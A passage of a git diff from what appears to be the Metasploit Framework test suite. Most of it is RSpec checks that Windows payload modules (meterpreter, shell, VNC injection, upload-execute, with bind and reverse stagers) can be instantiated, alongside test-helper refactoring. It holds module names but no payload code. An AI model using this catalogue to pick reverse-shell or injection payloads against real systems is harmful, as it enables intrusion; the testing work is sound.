'stagers/windows/reverse_tcp_rc4', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_tcp_rc4' + end + + context 'windows/patchupdllinject/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_tcp_rc4_dns' + end + + context 'windows/patchupmeterpreter/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_ipv6_tcp' + end + + context 'windows/patchupmeterpreter/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_nonx_tcp' + end + + context 'windows/patchupmeterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_tcp' + end + + context 'windows/patchupmeterpreter/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_tcp_rc4' + end + + context 'windows/patchupmeterpreter/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/find_tag' + end + + context 'windows/patchupmeterpreter/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_ipv6_tcp' + end + + context 'windows/patchupmeterpreter/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_nonx_tcp' + end + + context 'windows/patchupmeterpreter/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_ord_tcp' + end + + context 'windows/patchupmeterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_tcp' + end + + context 'windows/patchupmeterpreter/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_tcp_allports' + end + + context 'windows/patchupmeterpreter/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_tcp_dns' + end + + context 'windows/patchupmeterpreter/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4' + end + + context 'windows/patchupmeterpreter/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4_dns' + end + + context 'windows/shell/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_ipv6_tcp' + end + + context 'windows/shell/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_nonx_tcp' + end + + context 'windows/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_tcp' + end + + context 'windows/shell/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_tcp_rc4' + end + + context 'windows/shell/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/find_tag' + end + + context 'windows/shell/reverse_hop_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_hop_http', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_hop_http' + end + + context 'windows/shell/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_http' + end + + context 'windows/shell/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_ipv6_tcp' + end + + context 'windows/shell/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_nonx_tcp' + end + + context 'windows/shell/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_ord_tcp' + end + + context 'windows/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_tcp' + end + + context 'windows/shell/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_tcp_allports' + end + + context 'windows/shell/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_tcp_dns' + end + + context 'windows/shell/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_tcp_rc4' + end + + context 'windows/shell/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_tcp_rc4_dns' + end + + context 'windows/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell_bind_tcp' + end + + context 'windows/shell_bind_tcp_xpfw' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/shell_bind_tcp_xpfw' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell_bind_tcp_xpfw' + end + + context 'windows/shell_hidden_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/shell_hidden_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell_hidden_bind_tcp' + end + + context 'windows/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell_reverse_tcp' + end + + context 'windows/speak_pwned' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/speak_pwned' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/speak_pwned' + end + + context 'windows/upexec/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_ipv6_tcp' + end + + context 'windows/upexec/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_nonx_tcp' + end + + context 'windows/upexec/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_tcp' + end + + context 'windows/upexec/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_tcp_rc4' + end + + context 'windows/upexec/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/find_tag' + end + + context 'windows/upexec/reverse_hop_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_hop_http', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_hop_http' + end + + context 'windows/upexec/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_http' + end + + context 'windows/upexec/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_ipv6_tcp' + end + + context 'windows/upexec/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_nonx_tcp' + end + + context 'windows/upexec/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_ord_tcp' + end + + context 'windows/upexec/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_tcp' + end + + context 'windows/upexec/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_tcp_allports' + end + + context 'windows/upexec/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_tcp_dns' + end + + context 'windows/upexec/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_tcp_rc4' + end + + context 'windows/upexec/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_tcp_rc4_dns' + end + + context 'windows/vncinject/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_ipv6_tcp' + end + + context 'windows/vncinject/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_nonx_tcp' + end + + context 'windows/vncinject/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_tcp' + end + + context 'windows/vncinject/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_tcp_rc4' + end + + context 'windows/vncinject/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/find_tag' + end + + context 'windows/vncinject/reverse_hop_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_hop_http', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_hop_http' + end + + context 'windows/vncinject/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_http' + end + + context 'windows/vncinject/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_ipv6_tcp' + end + + context 'windows/vncinject/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_nonx_tcp' + end + + context 'windows/vncinject/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_ord_tcp' + end + + context 'windows/vncinject/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_tcp' + end + + context 'windows/vncinject/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_tcp_allports' + end + + context 'windows/vncinject/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_tcp_dns' + end + + context 'windows/vncinject/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_tcp_rc4' + end + + context 'windows/vncinject/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_tcp_rc4_dns' + end + + context 'windows/x64/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/x64/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/exec' + end + + context 'windows/x64/loadlibrary' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/x64/loadlibrary' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/loadlibrary' + end + + context 'windows/x64/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_tcp', + 'stages/windows/x64/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/bind_tcp' + end + + context 'windows/x64/meterpreter/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_https', + 'stages/windows/x64/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_https' + end + + context 'windows/x64/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_tcp', + 'stages/windows/x64/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_tcp' + end + + context 'windows/x64/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_tcp', + 'stages/windows/x64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/shell/bind_tcp' + end + + context 'windows/x64/shell/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_https', + 'stages/windows/x64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/shell/reverse_https' + end + + context 'windows/x64/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_tcp', + 'stages/windows/x64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/shell/reverse_tcp' + end + + context 'windows/x64/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/x64/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/shell_bind_tcp' + end + + context 'windows/x64/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/x64/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/shell_reverse_tcp' + end + + context 'windows/x64/vncinject/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_tcp', + 'stages/windows/x64/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/vncinject/bind_tcp' + end + + context 'windows/x64/vncinject/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_https', + 'stages/windows/x64/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/vncinject/reverse_https' + end + + context 'windows/x64/vncinject/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_tcp', + 'stages/windows/x64/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/vncinject/reverse_tcp' + end +end diff --git a/spec/modules_spec.rb b/spec/modules_spec.rb new file mode 100644 index 0000000000..9a6577c5de --- /dev/null +++ b/spec/modules_spec.rb @@ -0,0 +1,30 @@ +require 'spec_helper' + +describe 'modules', :content do + modules_pathname = Pathname.new(__FILE__).parent.parent.join('modules') + + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'auxiliary', + modules_pathname: modules_pathname, + type_directory: 'auxiliary' + + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'encoder', + modules_pathname: modules_pathname, + type_directory: 'encoders' + + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'exploit', + modules_pathname: modules_pathname, + type_directory: 'exploits' + + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'nop', + modules_pathname: modules_pathname, + type_directory: 'nops' + + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'post', + modules_pathname: modules_pathname, + type_directory: 'posts' +end \ No newline at end of file diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 1cf222b4e6..7d46bb0ee0 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -2,7 +2,6 @@ require 'spec_helper' load Metasploit::Framework.root.join('msfcli').to_path -require 'fastlib' require 'msfenv' require 'msf/ui' require 'msf/base' @@ -72,7 +71,7 @@ describe Msfcli do it "should see a help menu" do out = get_stdout { cli = Msfcli.new([]) - cli.usage + cli.usage } out.should =~ /Usage/ end diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 7271ff3ee5..304de16aa0 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -188,9 +188,9 @@ describe Msfupdate do context "in an apt installation" do let(:msfbase_dir) { dummy_apt_pathname } - its(:apt?) { should == true } - its(:binary_install?) { should == false } - its(:git?) { should == false } + it { expect(subject.apt?).to be_truthy } + it { expect(subject.binary_install?).to be_falsey } + it { expect(subject.git?).to be_falsey } context "#validate_args" do before(:each) do @@ -199,22 +199,22 @@ describe Msfupdate do context "with no args" do let(:args) { [] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-remote" do let(:args) { ['--git-remote', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --git-branch" do let(:args) { ['--git-branch', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --offline-file" do let(:args) { ['--offline-file', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end end @@ -241,9 +241,9 @@ describe Msfupdate do context "in a binary installation" do let(:msfbase_dir) { dummy_install_pathname } - its(:apt?) { should == false } - its(:binary_install?) { should == true } - its(:git?) { should == false } + it { expect(subject.apt?).to be_falsey } + it { expect(subject.binary_install?).to be_truthy } + it { expect(subject.git?).to be_falsey } context "#validate_args" do before(:each) do @@ -252,22 +252,22 @@ describe Msfupdate do context "with no args" do let(:args) { [] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-remote" do let(:args) { ['--git-remote', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --git-branch" do let(:args) { ['--git-branch', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --offline-file" do let(:args) { ['--offline-file', 'foo'] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end end @@ -294,9 +294,10 @@ describe Msfupdate do context "in a git installation" do let(:msfbase_dir) { dummy_git_pathname } - its(:apt?) { should == false } - its(:binary_install?) { should == false } - its(:git?) { should == true } + it { expect(subject.apt?).to be_falsey } + it { expect(subject.binary_install?).to be_falsey } + it { expect(subject.git?).to be_truthy } + context "#validate_args" do before(:each) do @@ -305,22 +306,22 @@ describe Msfupdate do context "with no args" do let(:args) { [] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-remote" do let(:args) { ['--git-remote', 'foo'] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-branch" do let(:args) { ['--git-branch', 'foo'] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --offline-file" do let(:args) { ['--offline-file', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 459103aba2..1e1092fdec 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -1,49 +1,57 @@ -# -*- coding:binary -*- -require 'rubygems' -require 'bundler' -Bundler.require(:default, :test, :db) +# -*- coding: binary -*- +ENV['RAILS_ENV'] = 'test' -FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + "/file_fixtures/" - -# add project lib directory to load path -spec_pathname = Pathname.new(__FILE__).dirname -root_pathname = spec_pathname.join('..').expand_path -lib_pathname = root_pathname.join('lib') -$LOAD_PATH.unshift(lib_pathname.to_s) - -# must be first require and started before any other requires so that it can measure coverage of all following required -# code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov. require 'simplecov' -# now that simplecov is loaded, load everything else +# @note must be before loading config/environment because railtie needs to be loaded before +# `Metasploit::Framework::Application.initialize!` is called. +# +# Must be explicit as activerecord is optional dependency +require 'active_record/railtie' + +require File.expand_path('../../config/environment', __FILE__) + +# Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use require 'rspec/core' +require 'rails/version' +require 'rspec/rails/adapters' +require 'rspec/rails/extensions' +require 'rspec/rails/fixture_support' +require 'rspec/rails/matchers' +require 'rspec/rails/mocks' + +FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/' + +# Load the shared examples from the following engines +engines = [ + Metasploit::Concern, + Rails +] # Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. -support_glob = root_pathname.join('spec', 'support', '**', '*.rb') - -Dir.glob(support_glob) do |path| - require path +engines.each do |engine| + support_glob = engine.root.join('spec', 'support', '**', '*.rb') + Dir[support_glob].each { |f| + require f + } end RSpec.configure do |config| - config.mock_with :rspec - - # Can't use factory_girl_rails since not using rails, so emulate - # factory_girl.set_factory_paths initializer and after_initialize for - # FactoryGirl::Railtie - config.before(:suite) do - # Need to load Mdm models first so factories can use them - MetasploitDataModels.require_models - - FactoryGirl.definition_file_paths = [ - MetasploitDataModels.root.join('spec', 'factories'), - # Have metasploit-framework's definition file path last so it can - # modify gem factories. - Metasploit::Framework.root.join('spec', 'factories') - ] - - FactoryGirl.find_definitions + config.mock_with :rspec do |mocks| + mocks.yield_receiver_to_any_instance_implementation_blocks = true end -end + # Run specs in random order to surface order dependencies. If you find an + # order dependency and want to debug it, you can fix the order by providing + # the seed, which is printed after each run. + # --seed 1234 + config.order = 'random' + + config.treat_symbols_as_metadata_keys_with_true_values = true + + # If you're not using ActiveRecord, or you'd prefer not to run each of your + # examples within a transaction, remove the following line or assign false + # instead of true. + config.use_transactional_fixtures = true +end diff --git a/spec/support/shared/contexts/database_cleaner.rb b/spec/support/shared/contexts/database_cleaner.rb deleted file mode 100644 index 5bbb900e15..0000000000 --- a/spec/support/shared/contexts/database_cleaner.rb +++ /dev/null @@ -1,37 +0,0 @@ -# -*- coding:binary -*- -require 'metasploit/framework/database' - -shared_context 'DatabaseCleaner' do - def with_established_connection - begin - ActiveRecord::Base.connection_pool.with_connection do - yield - end - rescue ActiveRecord::ConnectionNotEstablished - # if there isn't a connection established, then established one and try - # again - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] - ActiveRecord::Base.establish_connection(spec) - - retry - end - end - - # clean before all in case last test run was interrupted before - # after(:each) could clean up - before(:all) do - with_established_connection do - DatabaseCleaner.clean_with(:truncation) - end - end - - # Clean up after each test - after(:each) do - with_established_connection do - # Testing using both :truncation and :deletion; :truncation took long - # for testing. - DatabaseCleaner.clean_with(:deletion) - end - end -end diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index c060b5ceb3..6ff47e269c 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -1,5 +1,4 @@ shared_context 'Msf::DBManager' do - include_context 'DatabaseCleaner' include_context 'Msf::Simple::Framework' let(:active) do @@ -11,13 +10,8 @@ shared_context 'Msf::DBManager' do end before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] - - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - db_manager.connect(spec) - + # already connected due to use_transactional_fixtures, but need some of 